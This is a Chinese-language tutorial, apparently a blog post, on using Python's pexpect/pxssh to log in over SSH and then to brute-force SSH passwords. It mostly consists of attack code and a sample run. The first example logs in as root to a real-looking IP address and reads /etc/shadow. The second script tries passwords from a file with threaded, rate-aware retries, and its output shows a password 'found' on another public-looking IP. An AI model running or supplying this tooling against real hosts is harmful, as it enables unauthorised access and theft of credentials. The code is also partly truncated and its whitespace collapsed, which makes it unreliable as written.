在前面我们利用Pexpect实现了SSH登录。不过这种方式已经有一个现成的包做好了。它叫Pxssh 首先用一个小例子来感受一下它的用法:
from pexpect import pxsshdef send_command(s, cmd):s.sendline(cmd) s.prompt() print(s.before)def connect(host, user, password):try: s = pxssh.pxssh() s.login(host, user, password)return sexcept:print "[-] Error Connecting"exit(0)s = connect("115.28.24.44", "root", "xxx")send_command(s, "cat /etc/shadow | grep root")
然后接下来我们用它来实现暴力破解SSH密码。
我们只需要对我们的脚本稍作修改就能暴力破解 SSH 认证。除了增加一些选项解析主机名,用户名和密码文件,我们唯一要做 的就是稍微修改一下 connect()函数。如果 login()函数成功登陆没有异常的话, 我们将打印消息提示发现密码,然后更新全局布尔值标识。否则,我们将捕捉 异常。如果异常显示密码“refused”,我们知道密码错误,直接返回。然而, 如果异常显示 socket 套接字“read_nonblocking”,我们可以假设这个 SSH 服务器超过了最大连接数,然后我们会睡眠几秒再次尝试相同的密码连接。 此外,如果异常显示 pxssh 难以获得命令提示符,我们将睡眠一会使它能获取 命令提示符。值得注意的是我们包含一个布尔值在 connect()的函数参照中。 connect()函数可以递归的调用其他的 connect()函数,我们希望调用者可以释 放连接锁信号量。
下面是一个例子,把密码写到一个文件里:
# coding=UTF-8from pexpect import pxsshimport optparseimport timeimport threadingmaxConnections = 5connection_lock = threading.BoundedSemaphore(value=maxConnections)Found = FalseFails = 0def connect(host, user, password, release):global Found, Failstry: s = pxssh.pxssh() s.login(host, user, password) print("[+] Password Found: " + password) Found = Trueexcept Exception as e:if "read_nonblocking" in str(e): Fails += 1time.sleep(5) connect(host, user, password, False)elif "synchronize with original prompt" in str(e): time.sleep(1) connect(host, user, password, False)finally:if release: connection_lock.release()def main():parser = optparse.OptionParser("usage -H
运行
python pxssh_ssh.py -H 111.33.24.44 -f password.txt -u root[-] Testing: 08301@ly[-] Testing: abcs[-] Testing: acord[-] Testing: 0022[+] Password Found: abcs